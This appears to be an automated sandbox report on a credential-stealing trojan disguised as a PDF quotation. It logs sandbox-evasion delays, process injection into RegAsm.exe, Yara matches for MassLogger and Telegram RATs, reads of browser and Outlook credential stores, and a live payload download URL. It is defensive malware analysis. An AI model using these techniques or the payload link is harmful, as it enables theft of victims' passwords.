Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99094	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98969	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98638	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98516	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98406	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98267	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98152	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97919	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97684	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97343	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97234	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 97125	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96984	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96875	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96765	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96656	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96547	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96406	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96297	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96187	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 96078	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 95968	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 95859	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596791	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596679	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596220	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595343	Jump to behavior

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-CH:Microsoft\|VMWare\|Virtual
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-CH:VMware\|VIRTUAL\|A M I\|Xen
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1440944278.00000000069C0000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: z9kx4cDW65eHAHGFS0X
Source: RegAsm.exe, 00000009.00000002.2127996818.0000000000857000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1426880842.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_05DD4BE9 LdrInitializeThunk,

9_2_05DD4BE9

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 600000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 600000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 602000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 64A000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 64C000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58E008	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Queries volume information: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MSIL Logger

Source: Yara match	File source: 9.2.RegAsm.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2127255770.0000000000602000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1434658198.0000000003FCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3544, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3544, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3544, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000009.00000002.2130154544.000000000272A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3544, type: MEMORYSTR

Remote Access Functionality

Yara detected MSIL Logger

Source: Yara match	File source: 9.2.RegAsm.exe.600000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2127255770.0000000000602000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1434658198.0000000003FCF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3544, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3544, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3544, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 Scheduled Task/Job	211 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	41 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	211 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	42%	Virustotal		Browse
QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	47%	ReversingLabs	Win32.Packed.Generic
SAMPLE	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95	0%	Avira URL Cloud	safe
https://3007.filemail.com	0%	Avira URL Cloud	safe
https://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetS	0%	Avira URL Cloud	safe
http://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95	0%	Avira URL Cloud	safe
http://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSe	0%	Avira URL Cloud	safe
http://3007.filemail.com	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
ip.3007.filemail.com	193.30.119.107	true	false	unknown
reallyfreegeoip.org	104.21.16.1	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
3007.filemail.com	unknown	unknown	true	unknown
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false		high
https://reallyfreegeoip.org/xml/173.244.56.186	false		high
http://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetS	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F39000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://api.telegram.org/bot	RegAsm.exe, 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://3007.filemail.com	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F39000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://reallyfreegeoip.orgd	RegAsm.exe, 00000009.00000002.2130154544.000000000268E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://checkip.dyndns.org	RegAsm.exe, 00000009.00000002.2130154544.000000000265C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/173.244.56.186l	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	false		high
http://checkip.dyndns.comd	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/173.244.56.186d	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://reallyfreegeoip.org	RegAsm.exe, 00000009.00000002.2130154544.000000000268E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.orgd	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/d	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F01000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://3007.filemail.com	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSe	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002F01000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	RegAsm.exe, 00000009.00000002.2130154544.000000000266E000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
104.21.16.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.30.119.107	ip.3007.filemail.com	unknown	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1672212
Start date and time:	2025-04-23 17:23:30 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe renamed because original name is a hash value
Original Sample Name:	QUOTATION_APRLQUOTE312025PDF.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@3/3
EGA Information:	Successful, ratio: 100%
